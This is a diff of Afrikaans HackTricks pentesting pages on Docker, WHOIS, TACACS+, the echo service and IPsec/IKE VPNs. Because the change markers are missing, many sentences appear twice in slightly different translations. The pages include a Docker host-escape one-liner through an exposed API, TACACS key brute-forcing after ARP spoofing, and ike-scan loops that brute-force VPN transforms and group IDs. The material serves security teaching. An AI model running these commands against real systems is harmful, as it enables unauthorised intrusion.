Docker is die **voorste platform** in die **containerization industry**, wat **deurlopende innovasie** aanvoer. Dit fasiliteer die moeiteloze skepping en verspreiding van toepassings, wat strek van **tradisioneel tot futuristies**, en verseker hul **veilige ontplooiing** oor verskeie omgewings.
#### Basiese docker argitektuur
#### Basic docker architecture
* [**containerd**](http://containerd.io): Dit is 'n **kern runtime** vir houers, wat verantwoordelik is vir die omvattende **bestuur van 'n houer se lewensiklus**. Dit behels die hantering van **beeld oordrag en berging**, benewens die toesig oor die **uitvoering, monitering, en netwerk** van houers. **Meer gedetailleerde insigte** oor containerd word **verder ondersoek**.
* Die **container-shim** speel 'n kritieke rol as 'n **tussenpersoon** in die hantering van **headless containers**, wat naatloos oorgeneem word van **runc** nadat die houers geïnitialiseer is.
* [**runc**](http://runc.io): Geagter vir sy **liggewig en universele houer runtime** vermoëns, is runc in lyn met die **OCI standaard**. Dit word deur containerd gebruik om **houers te begin en te bestuur** volgens die **OCI riglyne**, en het ontwikkel uit die oorspronklike **libcontainer**.
* [**grpc**](http://www.grpc.io) is noodsaaklik vir **fasilitering van kommunikasie** tussen containerd en die **docker-engine**, wat **doeltreffende interaksie** verseker.
* [**grpc**](http://www.grpc.io) is noodsaaklik vir **die fasilitering van kommunikasie** tussen containerd en die **docker-engine**, wat **doeltreffende interaksie** verseker.
* Die [**OCI**](https://www.opencontainers.org) is van kardinale belang om die **OCI spesifikasies** vir runtime en beelde te handhaaf, met die nuutste Docker weergawes wat **in ooreenstemming is met beide die OCI beeld en runtime** standaarde.
#### Basiese opdragte
#### Basic commands
```bash
docker version #Get version of docker client, API, engine, containerd, runc, docker-init
docker info #Get more infomarion about docker settings
@ -72,7 +59,7 @@ docker system prune -a
'n Sleutelontwerpbesluit is dat **Containerd nie netwerkbestuur** hanteer nie. Netwerk word beskou as 'n kritieke element in verspreide stelsels, met kompleksiteite soos Software Defined Networking (SDN) en diensontdekking wat aansienlik van een platform na 'n ander verskil. Daarom laat Containerd netwerkaspekte oor aan die platforms wat dit ondersteun.
Terwyl **Docker Containerd gebruik** om houers te laat loop, is dit belangrik om te noem dat Containerd slegs 'n substel van Docker se funksies ondersteun. Spesifiek, Containerd ontbreek die netwerkbestuursvermoëns wat in Docker teenwoordig is en ondersteun nie die skepping van Docker swerms direk nie. Hierdie onderskeid beklemtoon Containerd se gefokusde rol as 'n houer-uitvoeringsomgewing, wat meer gespesialiseerde funksies aan die platforms wat dit integreer, delegeer.
Terwyl **Docker Containerd gebruik** om houers te laat loop, is dit belangrik om op te let dat Containerd slegs 'n substel van Docker se funksies ondersteun. Spesifiek, Containerd ontbreek die netwerkbestuursvermoëns wat in Docker teenwoordig is en ondersteun nie die skepping van Docker swerms direk nie. Hierdie onderskeid beklemtoon Containerd se gefokusde rol as 'n houer-uitvoeringsomgewing, wat meer gespesialiseerde funksies aan die platforms wat dit integreer, delegeer.
```bash
#Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
@ -167,13 +154,13 @@ As jy die **afgeleë docker API met die `docker` opdrag** kan **kontak**, kan jy
Jy kan `export DOCKER_HOST="tcp://localhost:2375"` en **vermy** om die `-H` parameter met die docker opdrag te gebruik
{% endhint %}
**Vinige privilige eskalasie**
**Vinige voorregverhoging**
```bash
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
```
**Curl**
Soms sal jy **2376** op die **TLS** eindpunt sien. Ek kon nie daarmee met die docker kliënt verbind nie, maar dit is moontlik om dit met curl te doen.
Soms sal jy **2376** op die **TLS** eindpunt sien. Ek kon nie daarmee verbind met die docker kliënt nie, maar dit is moontlik om dit met curl te doen.
```bash
#List containers
curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
@ -254,7 +241,7 @@ docker cp <docket_id>:/etc/<secret_01> <secret_01>
* `./docker-bench-security.sh`
* Jy kan die hulpmiddel [https://github.com/kost/dockscan](https://github.com/kost/dockscan) gebruik om jou huidige docker installasie te inspekteer.
* `dockscan -v unix:///var/run/docker.sock`
* Jy kan die hulpmiddel [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) gebruik om die voorregte wat 'n houer sal hê wanneer dit met verskillende sekuriteitsopsies gedraai word, te bepaal. Dit is nuttig om die implikasies van die gebruik van sommige sekuriteitsopsies om 'n houer te draai, te ken:
* Jy kan die hulpmiddel [https://github.com/genuinetools/amicontained](https://github.com/genuinetools/amicontained) gebruik om die voorregte wat 'n houer sal hê wanneer dit met verskillende sekuriteitsopsies gedraai word, te bepaal. Dit is nuttig om die implikasies van die gebruik van sekere sekuriteitsopsies om 'n houer te draai, te ken:
* `docker run --rm -it r.j3ss.co/amicontained`
* `docker run --rm -it --pid host r.j3ss.co/amicontained`
* `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained`
@ -333,24 +320,13 @@ falco-probe found and loaded in dkms
```
#### Monitering Docker
Jy kan auditd gebruik om docker te monitor.
Jy kan auditd gebruik om docker te moniteer.
### Verwysings
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
* [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromitteer** is deur **stealer malwares**.
Hul primêre doel van WhiteIntel is om rekening oorname en ransomware-aanvalle te bekamp wat voortspruit uit inligting-steel malware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -360,7 +336,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
<summary>Ondersteun HackTricks</summary>
* Kontroleer die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

View file

@ -1,33 +1,25 @@
# 43 - Pentesting WHOIS
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Basiese Inligting
Die **WHOIS** protokol dien as 'n standaardmetode om **navraag te doen oor die registrante of houers van verskeie Internet hulpbronne** deur middel van spesifieke databasisse. Hierdie hulpbronne sluit domeinnames, blokke van IP adresse, en outonome stelsels in, onder andere. Buiten hierdie, vind die protokol toepassing in die toegang tot 'n breër spektrum van inligting.
Die **WHOIS** protokol dien as 'n standaardmetode om **navraag te doen oor die registrante of houers van verskeie Internetbronne** deur middel van spesifieke databasisse. Hierdie bronne sluit domeinnames, blokke van IP-adresse en outonome stelsels in, onder andere. Buiten hierdie, vind die protokol toepassing in die toegang tot 'n breër spektrum van inligting.
**Standaard poort:** 43
**Standaardpoort:** 43
```
PORT STATE SERVICE
43/tcp open whois?
@ -39,7 +31,7 @@ Kry al die inligting wat 'n whois-diens oor 'n domein het:
whois -h <HOST> -p <PORT> "domain.tld"
echo "domain.ltd" | nc -vn <HOST> <PORT>
```
Notice dat soms wanneer jy inligting van 'n WHOIS-diens aan vra, die databasis wat gebruik word in die antwoord verskyn:
Notice dat soms wanneer jy vir inligting van 'n WHOIS-diens vra, die databasis wat gebruik word in die antwoord verskyn:
![](<../.gitbook/assets/image (301).png>)
@ -49,13 +41,7 @@ Ook, die WHOIS-diens moet altyd 'n **databasis** gebruik om die inligting te sto
* `port:43 whois`
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
## HackTricks Automatiese Opdragte
## HackTricks Outomatiese Opdragte
```
Protocol_Name: WHOIS #Protocol Abbreviation if there is one.
Port_Number: 43 #Comma separated if there is more than one.

View file

@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
**Try Hard Security Group**
## Basic Information
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Basiese Inligting
Die **Terminal Access Controller Access Control System (TACACS)** protokol word gebruik om gebruikers wat probeer om toegang tot routers of Network Access Servers (NAS) te verkry, sentraal te valideer. Die opgegradeerde weergawe, **TACACS+**, skei die dienste in outentisering, magtiging en rekeningkunde (AAA).
Die **Terminal Access Controller Access Control System (TACACS)** protokol word gebruik om gebruikers wat probeer om toegang tot routers of Network Access Servers (NAS) te verkry, sentraal te valideer. Die opgegradeerde weergawe, **TACACS+**, skei die dienste in autentisering, magtiging en rekeningkunde (AAA).
```
PORT STATE SERVICE
49/tcp open tacacs
@ -34,34 +26,29 @@ PORT STATE SERVICE
## Onderbreek Verifikasiesleutel
As die kliënt en TACACS-bediener kommunikasie deur 'n aanvaller onderbreek word, kan die **versleutelde verifikasiesleutel onderbreek word**. Die aanvaller kan dan 'n **lokale brute-force aanval teen die sleutel probeer sonder om in die logs opgemerk te word**. As die aanvaller daarin slaag om die sleutel te brute-force, verkry hy toegang tot die netwerktoerusting en kan die verkeer ontsleutel met behulp van gereedskap soos Wireshark.
As die kliënt en TACACS bediener kommunikasie deur 'n aanvaller onderbreek word, kan die **geënkripteerde verifikasiesleutel onderbreek word**. Die aanvaller kan dan 'n **lokale brute-force aanval teen die sleutel probeer sonder om in die logs opgemerk te word**. As die aanvaller daarin slaag om die sleutel te brute-force, verkry hy toegang tot die netwerktoerusting en kan die verkeer ontcijfer met behulp van gereedskap soos Wireshark.
### Uitvoering van 'n MitM-aanval
'n **ARP-spoofing-aanval kan gebruik word om 'n Man-in-the-Middle (MitM) aanval uit te voer**.
'n **ARP spoofing aanval kan gebruik word om 'n Man-in-the-Middle (MitM) aanval uit te voer**.
### Brute-forcing van die Sleutel
### Brute-forcing die Sleutel
[Loki](https://c0decafe.de/svn/codename\_loki/trunk/) kan gebruik word om die sleutel te brute-force:
```
sudo loki_gtk.py
```
If the key is successfully **bruteforced** (**usually in MD5 encrypted format)**, **we can access the equipment and decrypt the TACACS-encrypted traffic.**
If the key is successfully **bruteforced** (**usually in MD5 encrypted format)**, **kan ons toegang tot die toerusting verkry en die TACACS-geënkripteerde verkeer ontsleutel.**
### Decrypting Traffic
Sodra die sleutel suksesvol gekraak is, is die volgende stap om die **TACACS-enkripteer verkeer te dekripteer**. Wireshark kan geënkripteerde TACACS-verkeer hanteer as die sleutel verskaf word. Deur die gedekripteerde verkeer te analiseer, kan inligting soos die **banner wat gebruik word en die gebruikersnaam van die admin** gebruiker verkry word.
Sodra die sleutel suksesvol gekraak is, is die volgende stap om die **TACACS-geënkripteerde verkeer te ontsleutel**. Wireshark kan geënkripteerde TACACS-verkeer hanteer as die sleutel verskaf word. Deur die ontsleutelde verkeer te analiseer, kan inligting soos die **banner wat gebruik word en die gebruikersnaam van die admin** gebruiker verkry word.
Deur toegang te verkry tot die beheerpaneel van netwerktoerusting met die verkryde geloofsbriewe, kan die aanvaller beheer oor die netwerk uitoefen. Dit is belangrik om te noem dat hierdie aksies slegs vir opvoedkundige doeleindes is en nie sonder behoorlike magtiging gebruik moet word nie.
Deur toegang tot die beheerpaneel van netwerktoerusting te verkry met die verkryde geloofsbriewe, kan die aanvaller beheer oor die netwerk uitoefen. Dit is belangrik om te noem dat hierdie aksies slegs vir opvoedkundige doeleindes is en nie sonder behoorlike magtiging gebruik moet word nie.
## References
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -13,18 +13,10 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
</details>
{% endhint %}
**Probeer Hard Sekuriteitsgroep**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
# Basiese Inligting
'n Echo-diens is op hierdie gasheer aan die gang. Die echo-diens was bedoel vir toets- en meetdoeleindes en kan op beide TCP en UDP protokolle luister. Die bediener stuur enige data wat dit ontvang terug, sonder enige verandering.\
'n Echo-diens is op hierdie gasheer aan die gang. Die echo-diens was bedoel vir toets- en meetdoeleindes en kan op beide TCP en UDP protokolle luister. Die bediener stuur enige data wat dit ontvang terug, sonder enige wysiging.\
**Dit is moontlik om 'n ontkenning van diens te veroorsaak deur 'n echo-diens aan die echo-diens op dieselfde of 'n ander masjien te koppel**. Vanweë die buitensporig hoë aantal pakkette wat geproduseer word, kan die geraakte masjiene effektief uit diens geneem word.\
Inligting van [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
@ -44,29 +36,23 @@ Hello echo #This is the response
* `port:7 echo`
## References
## Verwysings
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
[CA-1996-01 UDP Port Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html)
[CA-1996-01 UDP Port Denial-of-Service Aanval](http://www.cert.org/advisories/CA-1996-01.html)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Ondersteun HackTricks</summary>
* Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) of die [**telegram group**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,38 +1,30 @@
# 500/udp - Pentesting IPsec/IKE VPN
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Basiese Inligting
**IPsec** is wyd erken as die hooftegnologie vir die beveiliging van kommunikasie tussen netwerke (LAN-to-LAN) en van afgeleë gebruikers na die netwerkpoort (afgeleë toegang), wat dien as die ruggraat vir ondernemings VPN-oplossings.
**IPsec** is wyd erken as die hooftegnologie vir die beveiliging van kommunikasie tussen netwerke (LAN-tot-LAN) en van afgeleë gebruikers na die netwerkpoort (afgeleë toegang), wat dien as die ruggraat vir ondernemings VPN-oplossings.
Die vestiging van 'n **veiligheidsvereniging (SA)** tussen twee punte word bestuur deur **IKE**, wat onder die vaandel van ISAKMP werk, 'n protokol wat ontwerp is vir die verifikasie en sleuteluitruiling. Hierdie proses ontvou in verskeie fases:
Die totstandkoming van 'n **veiligheidsvereniging (SA)** tussen twee punte word bestuur deur **IKE**, wat onder die vaandel van ISAKMP werk, 'n protokol wat ontwerp is vir die verifikasie en sleuteluitruiling. Hierdie proses ontvou in verskeie fases:
* **Fase 1:** 'n Veilige kanaal word geskep tussen twee eindpunte. Dit word bereik deur die gebruik van 'n Pre-Shared Key (PSK) of sertifikate, wat of hoofmodus gebruik, wat drie pare boodskappe behels, of **aggressiewe modus**.
* **Fase 1.5:** Alhoewel nie verpligtend nie, verifieer hierdie fase, bekend as die Uitgebreide Verifikasie Fase, die identiteit van die gebruiker wat probeer om te verbind deur 'n gebruikersnaam en wagwoord te vereis.
* **Fase 2:** Hierdie fase is toegewy aan die onderhandeling van die parameters vir die beveiliging van data met **ESP** en **AH**. Dit stel die gebruik van algoritmes wat verskil van dié in Fase 1 in staat om **Perfect Forward Secrecy (PFS)** te verseker, wat sekuriteit verbeter.
* **Fase 1.5:** Alhoewel nie verpligtend nie, verifieer hierdie fase, bekend as die Uitgebreide Verifikasiefase, die identiteit van die gebruiker wat probeer om te verbind deur 'n gebruikersnaam en wagwoord te vereis.
* **Fase 2:** Hierdie fase is toegewy aan die onderhandeling van die parameters vir die beveiliging van data met **ESP** en **AH**. Dit stel die gebruik van algoritmes wat verskil van dié in Fase 1 in staat om **Perfect Forward Secrecy (PFS)** te verseker, wat die sekuriteit verbeter.
**Standaard poort:** 500/udp
@ -48,7 +40,7 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **Vind 'n geldige transformasie**
Die IPSec-konfigurasie kan slegs voorberei word om een of 'n paar transformasies te aanvaar. 'n Transformasie is 'n kombinasie van waardes. **Elke transformasie** bevat 'n aantal eienskappe soos DES of 3DES as die **versleuteling algoritme**, SHA of MD5 as die **integriteit algoritme**, 'n vooraf gedeelde sleutel as die **authentikasie tipe**, Diffie-Hellman 1 of 2 as die sleutel **verspreiding algoritme** en 28800 sekondes as die **leeftyd**.
Die IPSec-konfigurasie kan slegs voorberei word om een of 'n paar transformasies te aanvaar. 'n Transformasie is 'n kombinasie van waardes. **Elke transformasie** bevat 'n aantal eienskappe soos DES of 3DES as die **enkripsie-algoritme**, SHA of MD5 as die **integriteitsalgoritme**, 'n vooraf gedeelde sleutel as die **authentikasietipe**, Diffie-Hellman 1 of 2 as die sleutel **verspreidingsalgoritme** en 28800 sekondes as die **leeftyd**.
Dan is die eerste ding wat jy moet doen om **'n geldige transformasie te vind**, sodat die bediener met jou kan praat. Om dit te doen, kan jy die hulpmiddel **ike-scan** gebruik. Standaard werk Ike-scan in hoofmodus en stuur 'n pakket na die poort met 'n ISAKMP-kop en 'n enkele voorstel met **agt transformasies daarin**.
@ -80,7 +72,7 @@ En dan brute-force elkeen met ike-scan (dit kan verskeie minute neem):
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
As die brute-force nie gewerk het nie, miskien reageer die bediener sonder handdrukke selfs op geldige transformasies. Dan kan jy dieselfde brute-force probeer, maar met aggressiewe modus:
As die brute-force nie gewerk het nie, maybe die bediener reageer sonder handdrukke selfs op geldige transformasies. Dan kan jy dieselfde brute-force probeer maar met aggressiewe modus:
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
@ -99,7 +91,7 @@ Cisco dui aan om DH groepe 1 en 2 te vermy omdat hulle nie sterk genoeg is nie.
### Bediener vingerafdruk
Dan kan jy ike-scan gebruik om te probeer **ontdek die verskaffer** van die toestel. Die hulpmiddel stuur 'n aanvanklike voorstel en stop om te herhaal. Dan sal dit die **tyd** verskil **tussen** die ontvangde **boodskappe** van die bediener en die ooreenstemmende reaksiepatroon analiseer, die pentester kan suksesvol die VPN-gateway verskaffer vingerafdruk. Boonop sal sommige VPN-bedieners die opsionele **Verskaffer ID (VID) payload** met IKE gebruik.
Dan kan jy ike-scan gebruik om te probeer **ontdek wie die verskaffer** van die toestel is. Die hulpmiddel stuur 'n aanvanklike voorstel en stop om te herhaal. Dan sal dit die **tyd** verskil **tussen** die ontvangde **boodskappe** van die bediener en die ooreenstemmende reaksiepatroon analiseer, die pentester kan suksesvol die VPN-gateway verskaffer vingerafdruk. Boonop sal sommige VPN-bedieners die opsionele **Verskaffer ID (VID) payload** met IKE gebruik.
**Specifiseer die geldige transformasie indien nodig** (gebruik --trans)
@ -140,13 +132,13 @@ As **geen hash teruggestuur word nie**, dan sal hierdie metode van brute forcing
![](<../.gitbook/assets/image (917).png>)
Maar as ek gesê het, geen hash teruggestuur word nie, dan moet jy probeer om algemene groepname te brute-force met ike-scan.
Maar as, soos ek gesê het, geen hash teruggestuur word nie, dan moet jy probeer om algemene groepsname te brute-force met ike-scan.
Hierdie skrip **sal probeer om moontlike ID's te brute-force** en sal die ID's terugstuur waar 'n geldige handdruk teruggestuur word (dit sal 'n geldige groepnaam wees).
Hierdie skrip **sal probeer om moontlike ID's te brute-force** en sal die ID's teruggee waar 'n geldige handdruk teruggestuur word (dit sal 'n geldige groepsnaam wees).
As jy 'n spesifieke transformasie ontdek het, voeg dit by die ike-scan opdrag. En as jy verskeie transformasies ontdek het, voel vry om 'n nuwe lus toe te voeg om hulle almal te probeer (jy moet hulle almal probeer totdat een van hulle behoorlik werk).
Jy kan die [woordeboek van ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) of [die een in seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) van algemene groepname gebruik om hulle te brute-force:
Jy kan die [woordeboek van ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) of [die een in seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) van algemene groepsname gebruik om hulle te brute-force:
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
@ -156,21 +148,21 @@ Or gebruik hierdie woordelys (is 'n kombinasie van die ander 2 woordelys sonder
### Bruteforcing ID met Iker
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) gebruik ook **ike-scan** om moontlike groepname te bruteforce. Dit volg sy eie metode om **'n geldige ID te vind gebaseer op die uitvoer van ike-scan**.
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) gebruik ook **ike-scan** om moontlike groepsname te bruteforce. Dit volg sy eie metode om **'n geldige ID te vind gebaseer op die uitvoer van ike-scan**.
### Bruteforcing ID met ikeforce
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) is 'n hulpmiddel wat gebruik kan word om **ID's ook te brute force**. Hierdie hulpmiddel sal **verskillende kwesbaarhede probeer benut** wat gebruik kan word om **tussen 'n geldige en 'n nie-geldige ID te onderskei** (kan vals positiewe en vals negatiewe hê, daarom verkies ek om die ike-scan metode te gebruik indien moontlik).
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) is 'n hulpmiddel wat gebruik kan word om **ID's ook te brute force**. Hierdie hulpmiddel sal **probeer om verskillende kwesbaarhede te benut** wat gebruik kan word om **tussen 'n geldige en 'n nie-geldige ID te onderskei** (kan vals positiewe en vals negatiewe hê, daarom verkies ek om die ike-scan metode te gebruik indien moontlik).
Standaard sal **ikeforce** aan die begin 'n paar ewekansige ID's stuur om die gedrag van die bediener te kontroleer en die taktiek te bepaal wat gebruik moet word.
* Die **eerste metode** is om die groepname te brute-force deur **inligting te soek** vir **Dead Peer Detection DPD** van Cisco stelsels (hierdie inligting word slegs deur die bediener herhaal as die groepnaam korrek is).
* Die **eerste metode** is om die groepsname te brute-force deur **inligting** te **soek** oor **Dead Peer Detection DPD** van Cisco stelsels (hierdie inligting word slegs deur die bediener herhaal as die groepsnaam korrek is).
* Die **tweede metode** wat beskikbaar is, is om **die aantal antwoorde wat na elke poging gestuur word, te kontroleer** omdat soms meer pakkette gestuur word wanneer die korrekte ID gebruik word.
* Die **derde metode** bestaan uit **soek na "INVALID-ID-INFORMATION" in antwoord op 'n onkorrekte ID**.
* Laastens, as die bediener niks aan die kontroles terugstuur nie, sal **ikeforce** probeer om die bediener te brute force en kyk of wanneer die korrekte ID gestuur word, die bediener met 'n pakkie antwoordgee.\
Dit is duidelik dat die doel van die brute forcing van die ID is om die **PSK** te verkry wanneer jy 'n geldige ID het. Dan, met die **ID** en **PSK** sal jy die XAUTH moet bruteforce (as dit geaktiveer is).
